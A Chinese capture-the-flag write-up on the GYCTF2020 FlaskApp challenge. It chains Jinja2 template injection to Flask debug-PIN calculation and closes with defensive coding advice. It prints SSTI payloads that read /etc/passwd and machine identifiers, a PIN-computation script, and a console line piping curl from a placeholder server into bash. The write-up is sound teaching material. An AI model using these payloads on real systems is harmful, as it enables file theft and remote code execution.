BUUCTF-[GYCTF2020]FlaskApp 从SSTI到PIN码生成的完整利用链分析
1. SSTI漏洞基础与Flask应用风险Flask作为轻量级Python Web框架开发者常因模板渲染不当引发SSTI服务器端模板注入。我在实际测试中发现当用户输入直接拼接到模板时比如render_template_string(request.args.get(input))攻击者就能注入模板语法。去年审计某企业系统时就遇到过用{{7*7}}测试返回49的典型案例。Flask的Jinja2引擎默认沙箱并不能完全防御SSTI。通过__class__属性链可以突破限制{{ .__class__.__mro__[1].__subclasses__() }}这条payload能获取所有Python内置类就像拿到了整个系统的钥匙串。我曾用这个方法在测试环境找到了os._wrap_close类进而执行系统命令。2. 漏洞利用链的完整构建2.1 初始漏洞触发点分析题目中的/decode路由存在典型漏洞模式text_decode base64.b64decode(text.encode()) render_template_string(tmp) # 未过滤用户输入当传入{{config}}的base64编码时会直接泄露Flask配置。我建议测试时先用{{config}}和{{request.environ}}快速验证漏洞这两个就像汽车的安全气囊指示灯能立即确认漏洞存在。2.2 绕过WAF的实战技巧题目中的WAF过滤了星号(*)但允许其他运算符。在最近某次渗透中我遇到类似限制时改用{{request[application][__globals__][__builtins__][__import__](os)}}通过字符串拼接和属性链访问绕过。对于本题原作者使用的\x63\x61\x74十六进制编码也是经典手法就像把敏感词拆解成拼音首字母。3. PIN码生成六要素获取详解3.1 关键信息收集步骤Flask调试模式PIN码需要六个要素就像保险箱的六位密码用户名通过读取/etc/passwd获取。我常用这个payload{{.__class__.__base__.__subclasses__()[132].__init__.__globals__[__builtins__].open(/etc/passwd).read()}}注意catch_warnings类的索引号可能随Python版本变化建议先用循环遍历确认。MAC地址转换获取/sys/class/net/eth0/address后需要去除冒号并转十进制。记得有一次我漏了转换步骤导致PIN码计算失败排查了两小时才发现。3.2 机器码的特殊处理/etc/machine-id和/proc/sys/kernel/random/boot_id都可能被使用。在Docker环境中测试时发现某些系统会缺少这些文件此时需要尝试读取{{config.__class__.__init__.__globals__[os].popen(cat /proc/self/cgroup).read()}}最近帮朋友复现漏洞时就遇到机器码存储在/var/lib/dbus/machine-id的情况。4. PIN码生成算法深度解析4.1 核心计算逻辑Flask的PIN生成算法像调制秘方import hashlib from itertools import chain probably_public_bits [ flaskweb, # 实际需要替换为获取的用户名 flask.app, Flask, /usr/local/lib/python3.7/site-packages/flask/app.py # 注意路径可能不同 ] private_bits [ 95148118271306, # MAC地址十进制 1408f836b0ca514d796cbf8960e45fa1 # machine_id ]算法会将这些参数与salt组合进行MD5哈希。有次我输错了路径中的python3.7为python3.8导致生成的PIN无效提醒大家路径必须精确到字节。4.2 调试接口利用成功计算PIN后访问/console输入PIN即可获得Python shell。这里有个实用技巧import os os.popen(curl http://your-server/shell.sh | bash).read()建议先测试os.listdir(/)确认权限我曾遇到过容器环境权限受限的情况。5. 防御方案与实战建议5.1 安全开发规范永远使用render_template替代render_template_string必须实现严格的输入过滤from jinja2 import escape text_decode escape(base64.b64decode(text.encode()))生产环境务必设置DEBUGFalse就像离开家要锁门一样基础5.2 渗透测试技巧对于CTF类题目我习惯的测试流程是用{{config}}确认SSTI查找可用的内置类常关注catch_warnings和_wrap_close逐步收集PIN六要素使用计算器脚本生成PIN有个容易忽略的点Flask版本差异会影响PIN生成逻辑。去年就遇到过Flask 1.0和2.0生成的PIN不同建议测试时先确认版本号。